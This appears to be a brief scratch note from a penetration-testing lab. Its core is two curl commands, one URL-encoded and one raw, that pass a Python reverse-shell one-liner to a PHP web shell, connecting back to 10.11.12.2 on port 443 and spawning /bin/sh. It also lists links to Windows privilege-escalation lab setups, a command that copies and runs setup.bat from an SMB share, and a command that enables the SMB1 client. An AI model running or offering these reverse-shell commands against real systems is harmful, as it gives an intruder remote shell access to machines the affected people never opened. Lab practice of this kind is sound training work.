hola

curl "http://172.20.0.193/test/1.php?c=python+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%2210.11.12.2%22%2c443))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3b+os.dup2(s.fileno()%2c2)%3bp%3dsubprocess.call(%5b%22%2fbin%2fsh%22%2c%22-i%22%5d)%3b%27"

curl "http://172.20.0.193/test/1.php?c=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.12.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

https://github.com/Tib3rius/Windows-PrivEsc-Setup/blob/master/setup.bat

https://drive.google.com/file/d/1Lgg3HXXltB7ZD3F5YSbRl6FX7h_mPzFU/view

https://github.com/sagishahar/lpeworkshop

copy \\192.168.1.11\tools\setup.bat
setup.bat

Enable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol-Client" -All